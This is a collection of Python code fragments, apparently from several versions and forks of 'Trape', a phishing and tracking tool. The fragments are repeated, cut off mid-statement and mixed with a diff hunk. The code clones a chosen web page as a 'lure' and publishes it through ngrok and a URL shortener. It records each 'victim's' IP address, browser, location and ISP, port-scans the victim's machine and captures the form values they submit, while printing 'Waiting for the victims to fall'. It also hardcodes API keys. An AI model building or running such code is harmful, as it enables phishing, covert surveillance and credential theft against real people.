def header(self): utils.banner() utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + "+" + utils.Color['white'] + "--" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Lure for the victims: " + utils.Color['blue'] + 'http://127.0.0.1:' + str(self.app_port) + '/' + self.victim_path) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + "+" + utils.Color['white'] + "--" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel Link: " + utils.Color['blue'] + "http://127.0.0.1:" + utils.Color['blue'] + str(self.app_port) + '/' + self.stats_path) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + "+" + utils.Color['white'] + "--" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your Access key: " + utils.Color['blue'] + self.stats_key + "\n\n" + utils.Color['white']) utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + ">" + utils.Color['white'] + "]" + utils.Color['whiteBold'] + " " + "Start time:" + " " + utils.Color['white'] + self.date_start) utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "¡" + utils.Color['white'] + "]" + utils.Color['white'] + " " + "Waiting for the victims to fall..." + "\n")
def register(): vId = request.form['vId'] if vId == '': vId = utils.generateToken(5) victimConnect = victim(vId, request.environ['REMOTE_ADDR'], request.user_agent.platform, request.user_agent.browser, request.user_agent.version, utils.portScanner(request.environ['REMOTE_ADDR']), request.form['cpu'], time.strftime("%Y-%m-%d - %H:%M:%S")) victimGeo = victim_geo(vId, 'city', request.form['countryCode'], request.form['country'], request.form['query'], request.form['lat'], request.form['lon'], request.form['org'], request.form['region'], request.form['regionName'], request.form['timezone'], request.form['zip'], request.form['isp'], str(request.user_agent), request.form['refer']) vRA = request.environ['REMOTE_ADDR'] gHA = Process(target=getHostsAlive, args=(vRA, vId,)) gHA.start() utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " A " + utils.Color['whiteBold'] + "user" + utils.Color['white'] + " has been connected from " + utils.Color['blue'] + victimGeo.ip + utils.Color['white'] + ' with the following identifier: ' + utils.Color['green'] + vId + utils.Color['white']) cant = int(db.sentences_victim('count_times', vId, 3, 0)) db.sentences_victim('insert_click', [vId, GeoSpy.url_to_clone, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) db.sentences_victim('delete_networks', [vId], 2) if cant > 0: utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " " + "It\'s the " + str(cant + 1) + " time for " + utils.Color['green'] + str(vId) + utils.Color['white'] + "@" + utils.Color['blue'] + victimGeo.ip + utils.Color['white']) db.sentences_victim('update_victim', [victimConnect, vId, time.time()], 2) db.sentences_victim('update_victim_geo', [victimGeo, vId], 2) else: utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " " + "It\'s the first time for " + utils.Color['green'] + str(vId) + utils.Color['white'] + "@" + utils.Color['blue'] + victimGeo.ip + utils.Color['white']) db.sentences_victim('insert_victim', [victimConnect, vId, time.time()], 2) db.sentences_victim('insert_victim_data', [vId], 2) db.sentences_victim('insert_victim_battery', [vId], 2) db.sentences_victim('insert_victim_geo', [victimGeo, vId], 2) return json.dumps({'status' : 'OK', 'vId' : vId})
def rootConnection(self): if sys.platform != "win32" and sys.platform != "cygwin": if os.getuid() != 0: utils.Go("\t" + "--------------------") utils.Go("\t" + "> Welcome to " + self.name_trasup + " <") utils.Go("\t" + "--------------------") utils.Go(utils.Color["blueBold"] + "[*] " + utils.Color["white"] + "Hello " + utils.Color["greenBold"] + os.uname()[1] + "," + utils.Color["white"] + " I hope you enjoy my role") utils.Go(utils.Color["redBold"] + "[x] " + utils.Color["white"] + "You must run in mode " + utils.Color["whiteBold"] + "root" + utils.Color["white"] + " to be able to operate.") exit(0)
def trape_upgrade(self): result = call(["git", "pull"]) if result == 0: changeLog = json.load(open('changelog.json')) item = changeLog[0] for key, value in item.iteritems(): utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + utils.Color['white'] + str(key) + ': ' + str(value)) time.sleep(5) utils.Go("Please press enter to continue and then restart Trape") raw_input() sys.exit(0) else: utils.Go("Update unavailable, please check your connection")
def networkRegister(): vId = request.form['vId'] vIp = request.form['ip'] vnetwork = request.form['red'] if vId == '': vId = utils.generateToken(5) utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "+" + utils.Color['white'] + "]" + utils.Color['whiteBold'] + " " + vnetwork + utils.Color['white'] + " session detected from " + utils.Color['blue'] + vIp + utils.Color['white'] + ' ' + "with ID: " + utils.Color['green'] + vId + utils.Color['white']) cant = int( db.sentences_victim('count_victim_network', [vId, vnetwork], 3, 0)) if cant > 0: db.sentences_victim( 'update_network', [vId, vnetwork, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) else: db.sentences_victim('insert_networks', [ vId, vIp, request.environ['REMOTE_ADDR'], vnetwork, time.strftime("%Y-%m-%d - %H:%M:%S") ], 2) return json.dumps({ 'status': 'OK', 'vId': vId })
def disconnect_request(d): try: session['receive_count'] = session.get('receive_count', 0) + 1 emit('my_response', {'data': 'Disconnected!', 'count': session['receive_count']}) utils.Go(utils.Color['white'] + "[" + utils.Color['redBold'] + "-" + utils.Color['white'] + "]" + utils.Color['red'] + " " + "A victim has closed her connection with the following id:" + " " + utils.Color['green'] + d['vId'] + utils.Color['white']) db.sentences_victim('disconnect_victim', d['vId'], 2) except Exception as error: pass
def send_room_message(message): try: session['receive_count'] = session.get('receive_count', 0) + 1 hookAction = attacks_hook_message(message['data']['type']) utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "@" + utils.Color['white'] + "]" + " " + hookAction + utils.Color['blue'] + message['data']['message'] + utils.Color['white'] + ' in ' + utils.Color['green'] + message['room'] + utils.Color['white']) emit('my_response', {'data': message['data'], 'count': session['receive_count']},room = message['room']) except Exception as error: pass
def registerRequest(): vrequest = victim_request(request.form['vId'], request.form['site'], request.form['fid'], request.form['name'], request.form['value'], request.form['sId']) db.sentences_victim( 'insert_requests', [vrequest, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "=" + utils.Color['white'] + "]" + " " + 'Receiving data from: ' + utils.Color['green'] + vrequest.id + utils.Color['white'] + ' ' + 'on' + ' ' + utils.Color['blue'] + vrequest.site + utils.Color['white'] + '\t\n' + vrequest.fid + '\t' + vrequest.name + ':\t' + vrequest.value) return json.dumps({'status': 'OK', 'vId': vrequest.id})
def __init__(self): self.name_trasup = "trasup" self.stats_path = "s" + utils.generateToken(6) self.home_path = "h" + utils.generateToken(18) self.stats_key = utils.generateToken(24) self.date_start = time.strftime("%Y-%m-%d - %H:%M:%S") parser = optparse.OptionParser("python" + " " + "%prog -u <<Url>> -p <<Port>>", version="1.0.2") parser.add_option('-u', '--url', dest='url', help='Put the web page url to clone') parser.add_option('-p', '--port', dest='port', help='Insert your port') (options, args) = parser.parse_args() mandatories = ['url', 'port'] for m in mandatories: if not options.__dict__[m]: parser.print_help() exit(-1) if utils.checkPort(int(options.port)) == False: utils.Go("\n" + utils.Color['white'] + "[" + utils.Color['redBold'] + "x" + utils.Color['white'] + "]" + " " + "The port:" + " " + utils.Color['whiteBold'] + options.port + utils.Color['white'] + " " + "is not available, It was previously used (" + utils.Text['underline'] + "Use another port" + utils.Text['end'] + ")" + "\n") exit(-1) self.app_port = int(options.port) self.url_to_clone = str(options.url) self.victim_path = options.url.replace("http://", "").replace("https://", "")
# # This file is the boot in Trape. # For full copyright information this visit: https://github.com/boxug/trape # #** # ############################################### # from core.utils import utils # from core.trape import Trape # try: # import flask # import flask_socketio # except: ############################################ utils.Go( "\t\nPlease install requirements.txt libraries, you can do it executing:" ) # utils.Go("\t\npip install -r requirements.txt" ) ##################################### ###################################################### # We generalize the main class of <trape> trackPeople = Trape() # check OS trackPeople.loadCheck() # Request root home to run <trape> with all permissions trackPeople.rootConnection() # Call the creation of the database when you open this file.
parser.add_argument('-u', '--url', dest='url', help='Put the web page url to clone') parser.add_argument('-p', '--port', dest='port', help='Insert your port') parser.add_argument('-ak', '--accesskey', dest='accesskey', help='Insert your custom key access') parser.add_argument('-l', '--local', dest='local', help='Insert your home file') parser.add_argument('-n', '--ngrok', dest='ngrok', help='Insert your ngrok Authtoken', action='store_true') parser.add_argument('-ic', '--injectcode', dest='injc', help='Insert your custom REST API path') parser.add_argument('-ud', '--update', dest='update', action='store_true', default=False, help='Update trape to the latest version') options = parser.parse_args() self.type_lure = 'global' # Check current updates if options.update: utils.Go("\033[H\033[J") utils.Go("Updating..." + " " + utils.Color['blue'] + "trape" + utils.Color['white'] + "..." + "\n") subprocess.check_output(["git", "reset", "--hard", "origin/master"]) subprocess.check_output(["git", "pull"]) utils.Go("Trape Updated... Please execute again...") sys.exit(0) if options.url is None: utils.Go("\033[H\033[J") utils.Go("----------------------------------------------") utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] +" {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Osint and analytics tool" + " " + "<" +utils.Color['white']) utils.Go("----------------------------------------------") utils.Go("| v" + utils.Color['redBold'] + "2.0" + utils.Color['white'] + " |") utils.Go("--------" + "\n") utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['greenBold'] + "!" + utils.Color['whiteBold'] + "]" + " " + utils.Color['white'] + "Enter the information requested below to complete the execution" + utils.Color['white']) utils.Go("")
def header(self): if self.stat == 1: # Principal header of tool utils.banner() # Update verification changeLog = requests.get("https://raw.githubusercontent.com/entynetproject/GeoSpy/master/version.txt", timeout = 4) changeLog = changeLog.text.split(" ")[1] changeLog = changeLog.strip() if changeLog != self.version: utils.Go(utils.Color['white'] + "\t" + utils.Color['yellowBold'] + "@" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['whiteBold'] + " " + "UPDATES:" + " " + utils.Color['yellowBold'] + "NEW VERSION IS AVAILABLE: " + utils.Color['white'] + "v" + utils.Color['redBold'] + changeLog + utils.Color['white'] + " " + "(install changes)") utils.Go("") else: utils.Go(utils.Color['white'] + "\t" + utils.Color['yellowBold'] + "@" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['whiteBold'] + " " + "UPDATES:" + " " + utils.Color['greenBold'] + "RUNNING RECENT VERSION" + utils.Color['white']) utils.Go("") # Local information vars utils.Go(utils.Color['white'] + "\t" + utils.Color['whiteBold'] + "LOCAL INFORMATION" + utils.Text['end']) utils.Go("\t" + "-------------------") utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Local Lure: " + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.victim_path) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your REST API Path: " + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.injectURL + utils.Color['white']) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel Link: " + utils.Color['blue'] + "http://127.0.0.1:" + utils.Color['blue'] + str(self.app_port) + '/' + self.stats_path) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your Access Key: " + utils.Color['blue'] + self.stats_key + utils.Color['white']) utils.Go("") if self.ngrok != '': if self.googl == '': self.googl = 'AIzaSyCPzcppCT27KTHnxAIQvYhtvB_l8sKGYBs' try: opener = urllib2.build_opener() time.sleep(1.5) fileLog = open(self.stats_path + '.nlog', 'r') log = fileLog.read().replace('\n', '').replace(' ', '') pLog = log.find('127.0.0.1:') + 10 pLog = int(log[pLog:pLog+4]) fileLog.close() os.remove(self.stats_path + '.nlog') ngrokStatus = str(opener.open('http://127.0.0.1:' + str(pLog) + '/api/tunnels').read()).replace('\n', '').replace(' ', '') time.sleep(0.5) ngrokUrlPos = ngrokStatus.find('ngrok.io') if ngrokUrlPos <= 0: time.sleep(4) ngrokStatus = str(opener.open('http://127.0.0.1:' + str(pLog) + '/api/tunnels').read()).replace('\n', '').replace(' ', '') ngrokUrlPos = ngrokStatus.find('ngrok.io') if ngrokUrlPos >= 0: ngrokStatus = ngrokStatus[ngrokUrlPos-25:ngrokUrlPos+28] ngrokUrlPos = ngrokStatus.find('http') ngrokUrlPos2 = ngrokStatus.find('.io') ngrokStatus = ngrokStatus[ngrokUrlPos: ngrokUrlPos2] + '.io' utils.Go(utils.Color['white'] + "\t" + utils.Color['whiteBold'] + "PUBLIC INFORMATION" + utils.Text['end']) utils.Go("\t" + "-------------------") r = utils.gShortener(self.googl, ngrokStatus.replace('https', 'http') + '/' + self.victim_path) gooGl = json.loads(r._content) if r.status_code == 200: utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Link Shortened Lure: " + utils.Color['blue'] + gooGl['id'] + utils.Color['white'] + " " + "(share)") else: time.sleep(0) self.nGrokUrl = ngrokStatus.replace('https', 'http') utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Public Lure: " + utils.Color['blue'] + self.nGrokUrl + '/' + self.victim_path + utils.Color['white']) utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel Link: " + utils.Color['blue'] + ngrokStatus.replace('https', 'http') + '/' + self.stats_path + utils.Color['white']) else: utils.Go(utils.Color['red'] + "\t" + utils.Color['green'] + "-" + utils.Color['white'] + "--" + utils.Color['red'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " We can't connect with nGrok! " + utils.Color['white']) except Exception as e: utils.Go(utils.Color['white'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + " " + utils.Color['white'] + e.message) utils.Go(utils.Color['red'] + "\t" + utils.Color['green'] + "-" + utils.Color['white'] + "--" + utils.Color['red'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " We can't connect with nGrok! " + utils.Color['white']) utils.Go("\n" + utils.Color['white']) utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + ">" + utils.Color['white'] + "]" + utils.Color['whiteBold'] + " " + "Start time:" + " " + utils.Color['white'] + self.date_start) utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "?" + utils.Color['white'] + "]" + utils.Color['white'] + " " + "Do not forget to close " + self.name_GeoSpy + ", after use. Press Ctrl + C to exit." + " " + utils.Color['white'] + '\n') utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "¡" + utils.Color['white'] + "]" + utils.Color['white'] + " " + "Waiting for the users to fall..." + "\n")
def process_arguments(self): # TODO: Refactor this parser = argparse.ArgumentParser( "python trape.py -u <<Url>> -p <<Port>>") parser.add_argument('-u', '--url', dest='url', help='Put the web page url to clone') parser.add_argument('-p', '--port', dest='port', help='Insert your port') parser.add_argument('-ak', '--accesskey', dest='accesskey', help='Insert your custom key access') parser.add_argument('-l', '--local', dest='local', help='Insert your home file') parser.add_argument('-n', '--ngrok', dest='ngrok', help='Insert your ngrok Authtoken', action='store_true') parser.add_argument('-ic', '--injectcode', dest='injc', help='Insert your custom REST API path') parser.add_argument('-ud', '--update', dest='update', action='store_true', default=False, help='Update trape to the latest version') options = parser.parse_args() # Check current updates if options.update: utils.Go("\033[H\033[J") utils.Go("Updating..." + " " + utils.Color['blue'] + "trape" + utils.Color['white'] + "..." + "\n") subprocess.check_output( ["git", "reset", "--hard", "origin/master"]) subprocess.check_output(["git", "pull"]) utils.Go("Trape Updated... Please execute again...") sys.exit(0) if options.url is None: utils.Go("\033[H\033[J") utils.Go("----------------------------------------------") utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] + " {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Osint and analytics tool" + " " + "<" + utils.Color['white']) utils.Go("----------------------------------------------") utils.Go("| v" + utils.Color['redBold'] + self.version + utils.Color['white'] + " |") utils.Go("--------" + "\n") utils.Go( utils.Color['whiteBold'] + "[" + utils.Color['greenBold'] + "!" + utils.Color['whiteBold'] + "]" + " " + utils.Color['white'] + "Enter the information requested below to complete the execution" + utils.Color['white']) utils.Go("") options.url = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) if options.port is None: options.port = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) while utils.checkPort(int(options.port)) == False: utils.Go("\033[H\033[J") utils.Go("----------------------------------------------") utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] + " {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Osint and analytics tool" + " " + "<" + utils.Color['white']) utils.Go("----------------------------------------------") utils.Go("\n") utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR:" + " " + utils.Color['whiteBold'] + "The port: " + options.port + utils.Color['white'] + " " + "is not available, It was previously used (" + utils.Color['yellow'] + "Use another port" + utils.Text['end'] + ")" + "\n\n") options.port = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) options.url = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) utils.Go("") utils.Go(utils.Color['greenBold'] + "-" + utils.Color['white'] + " Successful " + utils.Color['greenBold'] + "startup" + utils.Color['white'] + ", get lucky on the way!" + utils.Color['white']) utils.Go("") time.sleep(0.1) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("8.8.8.8", 80)) self.localIp = s.getsockname()[0] s.close() self.app_port = int(options.port) self.url_to_clone = str(options.url) if self.url_to_clone[0:4] != 'http': self.url_to_clone = 'http://' + self.url_to_clone self.victim_path = options.url.replace("http://", "").replace("https://", "") # TODO: maybe put in seperate method start ngrok self.ngrok = options.ngrok if options.ngrok else self.ngrok if self.ngrok == '': utils.Go("\033[H\033[J") self.ngrok = input("What is your nGrok token?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) Ngrok(self.ngrok, self.app_port) # Custom name of REST API if (options.injc): self.injectURL = options.injc # Custom access token if (options.accesskey): self.stats_key = options.accesskey # and start ngrok
def header(self): if self.stat == 1: # Principal header of tool utils.banner() # Update verification changeLog = requests.get("https://raw.githubusercontent.com/jofpin/trape/master/version.txt", timeout = 4) changeLog = changeLog.text.split(" ")[1] changeLog = changeLog.strip() if changeLog != self.version: utils.Go(utils.Color['white'] + "\t" + utils.Color['yellowBold'] + "@" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['whiteBold'] + " " + "UPDATES:" + " " + utils.Color['yellowBold'] + "NEW VERSION IS AVAILABLE: " + utils.Color['white'] + "v" + utils.Color['redBold'] + changeLog + utils.Color['white'] + " " + "(install changes)") utils.Go("") else: utils.Go(utils.Color['white'] + "\t" + utils.Color['yellowBold'] + "@" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['whiteBold'] + " " + "UPDATES:" + " " + utils.Color['greenBold'] + "RUNNING RECENT VERSION" + utils.Color['white']) utils.Go("") # Local information vars utils.Go(utils.Color['white'] + "\t" + utils.Color['whiteBold'] + "LOCAL INFORMATION" + utils.Text['end']) utils.Go("\t" + "-------------------") utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Lure for the users: " + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.victim_path) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your REST API path: " + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.injectURL + utils.Color['white']) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel Link: " + utils.Color['blue'] + "http://127.0.0.1:" + utils.Color['blue'] + str(self.app_port) + '/' + self.stats_path) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your Access key: " + utils.Color['blue'] + self.stats_key + utils.Color['white']) utils.Go("") if self.ngrok != '': if self.googl == '': self.googl = 'AIzaSyCPzcppCT27KTHnxAIQvYhtvB_l8sKGYBs' try: opener = urllib2.build_opener() ''' time.sleep(1.5) fileLog = open(self.stats_path + '.nlog', 'r') log = fileLog.read().replace('\n', '').replace(' ', '') pLog = log.find('127.0.0.1:') + 10 pLog = int(log[pLog:pLog+4]) fileLog.close() os.remove(self.stats_path + '.nlog') ''' pLog = 4040 ngrokStatus = str(opener.open('http://127.0.0.1:' + str(pLog) + '/api/tunnels').read()).replace('\n', '').replace(' ', '') time.sleep(0.5) ngrokUrlPos = ngrokStatus.find('ngrok.io')
''' pLog = 4040 ngrokStatus = str(opener.open('http://127.0.0.1:' + str(pLog) + '/api/tunnels').read()).replace('\n', '').replace(' ', '') time.sleep(0.5) ngrokUrlPos = ngrokStatus.find('ngrok.io') @@ -225,6 +228,7 @@ def header(self): if ngrokUrlPos <= 0: time.sleep(4) ngrokStatus = str(opener.open('http://127.0.0.1:' + str(pLog) + '/api/tunnels').read()).replace('\n', '').replace(' ', '') ngrokUrlPos = ngrokStatus.find('ngrok.io') if ngrokUrlPos >= 0: ngrokStatus = ngrokStatus[ngrokUrlPos-25:ngrokUrlPos+28] ngrokUrlPos = ngrokStatus.find('http') ngrokUrlPos2 = ngrokStatus.find('.io') ngrokStatus = ngrokStatus[ngrokUrlPos: ngrokUrlPos2] + '.io' utils.Go(utils.Color['white'] + "\t" + utils.Color['whiteBold'] + "PUBLIC INFORMATION" + utils.Text['end']) utils.Go("\t" + "-------------------") r = utils.gShortener(self.googl, ngrokStatus.replace('https', 'http') + '/' + self.victim_path) #gooGl = json.loads(r._content) #if r.status_code == 200: # utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Link shortened lure: " + utils.Color['blue'] + gooGl['id'] + utils.Color['white'] + " " + "(share)") #else: # utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + " gooGl " + utils.Color['white'] + gooGl['error']['errors'][0]['reason']) self.nGrokUrl = ngrokStatus.replace('https', 'http') utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Public lure: " + utils.Color['blue'] + self.nGrokUrl + '/' + self.victim_path + utils.Color['white']) utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel link: " + utils.Color['blue'] + ngrokStatus.replace('https', 'http') + '/' + self.stats_path + utils.Color['white']) else: utils.Go(utils.Color['red'] + "\t" + utils.Color['green'] + "-" + utils.Color['white'] + "--" + utils.Color['red'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " We can't connect with nGrok " + utils.Color['white']) except Exception as e: utils.Go(utils.Color['white'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + " " + utils.Color['white'] + e.message)
def trape_config(self): utils.Go("\033[H\033[J") utils.Go("----------------------------------------------------------") utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] +" {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Configuration zone to use the software" + " " + "<" + utils.Color['white']) utils.Go("----------------------------------------------------------") utils.Go("| v" + utils.Color['redBold'] + "2.0" + utils.Color['white'] + " |") utils.Go("--------" + "\n") utils.Go(utils.Color['whiteBold'] + "GENERAL CONFIG" + utils.Color['white']) utils.Go("------") utils.Go("Through this section you will configure the resources required \nfor an effective function of trape, please complete the following steps, below. \nKeep in mind that if the data is incorrect this tool will not work." + utils.Color['white']) utils.Go("") utils.Go(utils.Color['whiteBold'] + "NGROK TOKEN" + utils.Color['white']) utils.Go("------") utils.Go("In the next section you must enter your Ngrok token, if you do not have \none register at (" + utils.Color['blueBold'] + "https://ngrok.com" + utils.Color['white'] + "), this data is necessary for the generation of public network tunnels.") utils.Go("") c_nGrokToken = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter your ngrok token" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) utils.Go("") utils.Go(utils.Color['whiteBold'] + "GOOGLE API" + utils.Color['white']) utils.Go("------") utils.Go("You must register with the " + utils.Color['blueBold'] + "Google Console" + utils.Color['white'] + ", and get an API for maps and another for shortening. \nBy having these data you complete the settings") utils.Go("") c_gMapsToken = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your Google Maps Api Key?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) c_gOoglToken = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter your Goo.gl (shortener) Api Key (leave it empty if you don't have)" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) utils.Go("") utils.Go(utils.Color['greenBold'] + "-" + utils.Color['white'] + " Congratulations! " + utils.Color['greenBold'] + "Successful configuration" + utils.Color['white'] + ", now enjoy Trape!" + utils.Color['white']) utils.Go("") time.sleep(0.4) if (c_nGrokToken != '' and c_gMapsToken != ''): v = '{\n\t"ngrok_token" : "' + c_nGrokToken + '",\n\t"gmaps_api_key" : "' + c_gMapsToken + '",\n\t"gshortener_api_key" : "' + c_gOoglToken + '"\n\t}' f = open ('trape.config', 'w') f.write(v) f.close() else: self.trape_config()
def __init__(self, stat = 0): self.name_trape = "Trape" self.version = "2.0" self.stats_path = utils.generateToken(7) self.home_path = utils.generateToken(18) self.logout_path = utils.generateToken(6) self.remove_path = utils.generateToken(14) self.injectURL = utils.generateToken(12) + '.js' self.stats_key = utils.generateToken(24) self.date_start = time.strftime("%Y-%m-%d - %H:%M:%S") self.stat = stat self.localIp = '127.0.0.1' self.nGrokUrl = '' self.JSFiles = ({"path" : "base.js", "src" : utils.generateToken(12)},{"path" : "libs.min.js", "src" : utils.generateToken(12)},{"path" : "login.js", "src" : utils.generateToken(12)},{"path" : "payload.js", "src" : utils.generateToken(12)},{"path" : "trape.js", "src" : utils.generateToken(12)},{"path" : "vscript.js", "src" : utils.generateToken(12)},) self.CSSFiles = ({"path" : "static/img/favicon.ico", "src" : utils.generateToken(12)},{"path" : "static/img/favicon.png", "src" : utils.generateToken(12)},{"path" : "static/css/base-icons.css", "src" : utils.generateToken(12)},{"path" : "static/css/styles.css", "src" : utils.generateToken(12)},{"path" : "static/css/normalize.min.css", "src" : utils.generateToken(12)},{"path": "static/css/services-icons.css", "src" : utils.generateToken(12)},) if self.stat == 1: c = httplib.HTTPConnection('www.google.com', timeout=5) try: c.request("HEAD", "/") c.close() except Exception as e: c.close() utils.Go("\033[H\033[J") utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "NOTICE: " + utils.Color['white'] + "Trape needs Internet connection for working" + "\n\t") sys.exit(0) if (not(os.path.exists("trape.config"))): self.trape_config() try: config_trape = json.load(open("trape.config")) except Exception as error: os.remove('trape.config') self.trape_config() self.ngrok = config_trape['ngrok_token'] self.gmaps = config_trape['gmaps_api_key'] if self.gmaps == '': self.gmaps = 'AIzaSyA30wEa2DwUuddmNTHvoprhnrB2w_aCWbs' self.googl = config_trape['gshortener_api_key'] if self.googl == '': self.googl = 'AIzaSyDHMDTOGo9L1OBl5vRxOVM6vpXOXVp5jCc' parser = argparse.ArgumentParser("python trape.py -u <<Url>> -p <<Port>>", version=self.version) parser.add_argument('-u', '--url', dest='url', help='Put the web page url to clone') parser.add_argument('-p', '--port', dest='port', help='Insert your port') parser.add_argument('-ak', '--accesskey', dest='accesskey', help='Insert your custom key access') parser.add_argument('-l', '--local', dest='local', help='Insert your home file') parser.add_argument('-n', '--ngrok', dest='ngrok', help='Insert your ngrok Authtoken', action='store_true') parser.add_argument('-ic', 